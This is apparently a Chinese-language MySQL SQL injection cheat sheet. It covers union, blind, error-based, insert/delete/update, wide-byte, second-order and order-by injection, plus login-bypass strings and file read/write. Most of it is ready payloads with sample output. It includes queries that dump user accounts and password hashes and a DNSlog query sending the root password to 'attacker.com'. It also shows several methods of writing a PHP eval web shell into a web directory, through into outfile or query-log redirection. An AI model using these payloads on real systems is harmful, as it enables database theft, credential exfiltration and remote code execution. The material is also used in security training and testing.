0x01 MYSQL
1.1 显注
mysql重要的连接函数
concat()
group_concat()
concat_ws()
mysql注释符:# %23 --+ /* /**/
'回显错误
''回显正常 字符型注入
2-1与2-0回显不一样 数字型注入
2'-'1与2'-'0回显不一样 字符型注入
and 1=1 与真
and 1=2 永假
or 1=1 永真
or 1=2 或假
宽子节注入:打开魔术引号,可用%df%27造成单引号的逃逸
order by 判断字段数
注意:字符型注入需要先用单引号闭合参数,再用SQL语句的注释符来注释掉多余的单引号;而搜索型需要先用%'来闭合参数再来进行拼接SQL语句再用注释符来注释掉多余的单引号
and 1=2 union select 1,2,3 --+ 爆回显字段
或者
and 1=2 union select null,null,null --+ 依次替换null判断
常用查询函数
1:system_user() 系统用户名
2:user() 用户名
3:current_user 当前用户名
4:session_user()连接数据库的用户名
5:database() 数据库名
6:version() MYSQL数据库版本 @@version
7:load_file() MYSQL读取本地文件的函数
8:@@datadir 读取数据库路径
9:@@basedir MYSQL 安装路径
10:@@version_compile_os 操作系统
and 1=2 union select 1,group_concat(user,'::',password),3 from mysql.user (mysql用户账号密码)
爆库名
union select 1,schema_name,3 from information_schema.schemata limit 0,1--+ (limit可以遍历)
爆表名
union select 1,group_concat(0x7e,table_name,0x7e),3 from information_schema.tables where table_schema=database()--+
爆列名
union select 1,group_concat(0x7e,column_name,0x7e),3 from information_schema.columns where table_schema=database() and table_name=0x7573657273--+ (也可以直接'users')
爆字段
union select 1,group_concat(username,0x3a3a,password),3 from users--+
如果权限够大可以直接用
load_file()读文件
union select 1,load_file('c:\\flag.txt'),3 --+
直接写文件union+select+1,2,3,char(0x3C3F706870206576616C28245F504F53545B39305D3F3B3E),5,6,7,8,9,10,7+into+outfile+'d:/web/90team.php'--+ 在web目录写入一句话木马
<?php +eval($_POST[90]?;> 为上面16进制编码后的一句话原型
union+select+1,2,3,load_file(d:/web/logo123.jpg),5,6,7,8,9,10,7+into+outfile+'d:/web/90team.php'--+ 将PHP马改成图片类型上传之网站,再通过into outfile 写入web目录
爆绝对路劲方法
1.让网站报错
2.google hack---site:url warning
3.遗留文件----inurl:phpinfo.php
4.cms漏洞爆路劲
5.读取搭建平台配置文件
1.2 盲注
我们可以把我们输入布尔表达式的点,称之为整条语句的开关,起到整条语句结果的分流作用,而此时 我们就可以把这种能根据其中输入真假返回不同结果的函数叫做开关函数,或者叫做分流函数
盲注思路的思路很多 比如正则匹配,比较函数,运算符
布尔型盲注
拆解库
1' and length(database())=4# 数据库长度为4(可用<>符号来判断嗷)
1' and left(database(),1)='d'# 数据库第一位d
1' and ascii(substr((select database()),2,1))=118# 数据库第二位ascii码118 v
1' and ascii(mid((select database()),3,1))=119# 数据库第三位ascii码119 w
全部dvwa
拆解表
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2# 两个表
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9# 第一个表的长度为9
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=5# 第二个表的长度为5
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=117# 第二个表的第一位u
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=115# 第二个表的第二位s
全部users
拆解列
1' and (select count(column_name) from information_schema.columns where table_name=0x7573657273)=11# users表列数11
1' and length(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 0,1),1))=7#
1' and length(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 1,1),1))=10#
1' and length(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 2,1),1))=9#
1' and length(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 3,1),1))=4#
1' and ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 3,1),1,1))=117#
1' and ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 3,1),2,1))=115#
1' and ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 3,1),3,1))=101#
1' and ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 3,1),4,1))=114#
为user
1' and length(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 4,1),1))=8#
方法同上为password
拆解字段
1' and ascii(substr((select user from users limit 0,1),1,1))=97#
1' and ascii(substr((select user from users limit 0,1),2,1))=100#
为admin
同理可以得出所有的字段
admin,gordonb,1337,pablo,smithy
5f4dcc3b5aa765d61d8327deb882cf99,e99a18c428cb38d5f260853678922e03,8d3533d75ae2c3966d7e0d4fcc69216b,0d107d09f5bbe40cade3de5c71e9e9b7,5f4dcc3b5aa765d61d8327deb882cf99
-----------------------------------------------------------------------------------------
index.php?id=1 and 1=(SELECT 1 FROM users WHERE password REGEXP '^[a-f]' AND
ID=1)
False
index.php?id=1 and 1=(SELECT 1 FROM users WHERE password REGEXP '^[0-9]' AND
ID=1)
True
index.php?id=1 and 1=(SELECT 1 FROM users WHERE password REGEXP '^[0-4]' AND
ID=1)
False
index.php?id=1 and 1=(SELECT 1 FROM users WHERE password REGEXP '^[5-9]' AND
ID=1)
True
index.php?id=1 and 1=(SELECT 1 FROM users WHERE password REGEXP '^[5-7]' AND
ID=1)
True
index.php?id=1 and 1=(SELECT 1 FROM users WHERE password REGEXP '^5' AND
ID=1)
True
-----------------------------------------------------------------------------------------
异或是一种逻辑运算,运算法则简言之就是:两个条件相同(同真或同假)即为假(0),两个条件不同即为真(1),null与任何条件做异或运算都为null,如果从数学的角度理解就是,空集与任何集合的交集都为空。
mysql里异或运算符为^ 或者 xor
用处
可用于判断过滤
http://120.24.86.145:9004/1ndex.php?id=1'^(length('union')=5)%23
当union被过滤时1^0 输出id=1
当union没被过滤时 1 ^ 1 输出 id=0
回显 error
时间盲注一般使用sleep() BENCHMARK()
时间型盲注
1'and if(length(database())=1,sleep(5),1) # 没有延迟
1'and if(length(database())=4,sleep(5),1) # 明显延迟
1'and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 没有延迟
1'and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 没有延迟
DNSlog
SELECT LOAD_FILE(CONCAT('\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.attacker.com\foobar'));
1.3 报错注入
1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2.extractvalue() <32>32>
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml() <32>32>
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));
1.4 UPDATE && DELETE && INSERT注入
一般insert注入会出现在 注册、ip头、留言板等等需要写入数据的地方,同时这种注入不报错一般较难发现。
update,insert注入怎么找,我们可以尝试性插入、引号、双引号、转义符\ 让语句不能正常执行,然后如果插入失败,更新失败,然后深入测试确定是否存在注入。
报错:
insert into admin (id,username,password) values (2,""or updatexml(1,concat(0x7e,(version())),0) or"","admin");
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'
盲注:
mysql> insert into admin values (2+if((substr((select user()),1,1)='r'),sleep(5),1),'1',"admin");
Query OK, 1 row affected (5.00 sec)
mysql> insert into admin values (2+if((substr((select user()),1,1)='p'),sleep(5),1),'1',"admin");
Query OK, 1 row affected (0.00 sec)
mysql> insert into admin values (2,''+if((substr((select user()),1,1)='p'),sleep(5),1)+'',"admin");
Query OK, 1 row affected (0.00 sec)
mysql> insert into admin values (2,''+if((substr((select user()),1,1)='r'),sleep(5),1)+'',"admin");
Query OK, 1 row affected (5.01 sec)
delete注入同上,但是很危险,所以delete注入时使用or一定要为false
报错:
mysql> delete from admin where id =-2 or updatexml(1,concat(0x7e,(version())),0);
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'
盲注:
mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r4'),sleep(5),0);
Query OK, 0 rows affected (0.00 sec)
mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r'),sleep(5),0);
Query OK, 0 rows affected (5.00 sec)
update
update admin set id="5"+sleep(5)+"" where id=2;
Query OK, 4 rows affected (20.00 sec)
1.5 二次注入和宽字节注入
二次注入的原理是sql语句没有被转义直接存入数据库,然后在被读取查询而导致的。
二次注入在php种通常见于,插入时被addslashes() get_magic_quotes_gpc 等等转义,但是写入数据库时还是使用原来的数据,二次注入造成原因时多种多样的。
在没有被单引号包裹的sql语句下,我们可以用16进制编码他,这样就不会带有单引号等。
mysql> insert into admin (id,name,pass) values ('3',0x61646D696E27313131,'11');
Query OK, 1 row affected (0.00 sec)
mysql> select * from admin;
+----+-----------+-------+
| id | name | pass |
+----+-----------+-------+
| 1 | admin | admin |
| 2 | admin'111 | 11111 |
| 3 | admin'111 | 11 |
+----+-----------+-------+
4 rows in set (0.00 sec)
宽字节注入
PHP在开启magic_quotes_gpc或者使用addslashes、iconv等函数的时候,单引号(')会被转义成'(%5c%27)。
而在其前面加入%df导致整体变成了(%df%5c%27),''%df%5c'在宽字节里是汉字'運',这就导致了单引号的逃逸。
?id=-1%df%27 union select 1,user(),3 %23
1.6 order by && limit && from后的注入
order by
简单的判断
mysql> select * from admin order by if(1=1,username,password);
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 2 | admin | ddmin |
| 3 | bdmin | fdmin |
| 1 | cdmin | bdmin |
+------+----------+----------+
3 rows in set (0.00 sec)
mysql> select * from admin order by if(1=3,username,password);
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | cdmin | bdmin |
| 2 | admin | ddmin |
| 3 | bdmin | fdmin |
+------+----------+----------+
3 rows in set (0.00 sec)
简单的注入
mysql> select * from admin order by if((substr((select user()),1,1)='r1'),username,password);
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | cdmin | bdmin |
| 2 | admin | ddmin |
| 3 | bdmin | fdmin |
+------+----------+----------+
3 rows in set (0.00 sec)
mysql> select * from admin order by if((substr((select user()),1,1)='r'),username,password);
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 2 | admin | ddmin |
| 3 | bdmin | fdmin |
| 1 | cdmin | bdmin |
+------+----------+----------+
3 rows in set (0.00 sec)
http://127.0.0.1/sqli/Less-46/?sort=if((substr((select user()),1,1)='r'),username,password)
时间盲注
时间盲注不能直接简单的sleep() 因为他会对每条内容来执行你的语句,所以会造成dos测试获取速度慢等问题,这时候我们需要用到子查询
mysql> select * from admin order by if((substr((select user()),1,1)='r'),sleep(5),password);
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 3 | bdmin | fdmin |
| 2 | admin | ddmin |
| 1 | cdmin | bdmin |
+------+----------+----------+
3 rows in set (15.01 sec)
我们写一条简单的子查询试试
mysql> select * from admin order by if((substr((select user()),1,1)='r'),(select 1 from (select sleep(2)) as b),password);
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 3 | bdmin | fdmin |
| 2 | admin | ddmin |
| 1 | cdmin | bdmin |
+------+----------+----------+
3 rows in set (2.01 sec)
报错注入
http://127.0.0.1/sqli/Less-46/?sort=(extractvalue(1,concat(0x3a,version())),1)
mysql> select * from admin order by (extractvalue(1,concat(0x3a,version())),1);
ERROR 1105 (HY000): XPATH syntax error: ':5.5.53'
limit
mysql> select * from admin where id >0 order by id limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
ERROR 1105 (HY000): XPATH syntax error: ':5.5.53'
ERROR:
No query specified
select * from admin where id >0 order by id limit 0,1 PROCEDURE analyse(extractvalue(rand(),concat(0x3a,(if(1=1,benchmark(2000000,md5(404)),1)))),1);
1.7 万能密码
'or 1=1/*
"or "a"="a
"or 1=1--
"or"="
"or"="a'='a
"or1=1--
"or=or"
''or'='or'
') or ('a'='a
'.).or.('.a.'='.a
'or 1=1
'or 1=1--
'or 1=1/*
'or"="a'='a
'or' '1'='1'
'or''='
'or''=''or''='
'or'='1'
'or'='or'
'or.'a.'='a
'or1=1--
1'or'1'='1
a'or' 1=1--
a'or'1=1--
or 'a'='a'
or 1=1--
or1=1--
原理就是让我们的条件恒成立 ,就是根据语句的形势来闭合的
注释绕过:
select * from admin where name = ''or 1=1-- ' and pass = '123';
空字符串''等于0返回true
select * from admin where name = ''|0#' and pass = '123';
1.8 文件读写(需要相应权限)
mysql在5.6.34以后secure_file_priv的默认值为NULL,需要为‘ ’才能进行文件导出,现在的利用环境少
这个用sql命令无法修改
windows系统在 my.ini的[mysqld]下面加上secure_file_priv = ,linux 的在 /etc/my.cnf 同时读写权限问题就不用说了。
mysql> show global variables like '%secure%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_auth | OFF |
| secure_file_priv | |
+------------------+-------+
2 rows in set (0.00 sec)
读文件
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,hex(load_file(0x463A5C5C312E747874)),3-- +
若有mysql弱口令或者phpmyadmin类似的平台可以执行sql
支持导入的函数还有load data infile
create table test(test text);
insert into test(test) values (load_file('D:\\1.txt'));
select * from test;
写文件
一般用到dumpfile与outfile
outfile会在行末写入新行,且会转义换行符
dumpfile能导出一个完整的文件,不会有任何转义 udf提权一般用dumpfile
写一句话(需要物理路径)
select * from admin where id =1 union select 1,'<?php eval($_POST[cmd]);?>',3 into outfile 'G:\\test.txt';
通过日志写shell(需要能执行sql语句,解决outfile被禁止,或者写入文件被拦截)
show variables like '%general%'; #查看配置
set global general_log=on; #开启general log模式
set global general_log_file='D://404.php'; #设置日志目录为shell地址
select '<?php eval($_POST[cmd]);?>' #写如shell
慢日志,原理同上
show variables like '%query_log%';
set global slow_query_log=1;
set global slow_query_log_file='D://404.php'
select '<?php eval($_POST['404']) ?>' or sleep(15);
当支持堆叠查询的时候就可以尝试利用写日志来进行写shell
http://192.168.59.129/Less-38/?id=1%27;set global general_log=on;set global general_log_file='C://phpstudy//404.php';--+
http://192.168.59.129/Less-38/?id=1%27;select '<?php eval($_POST[404]) ?>';--+
未完待续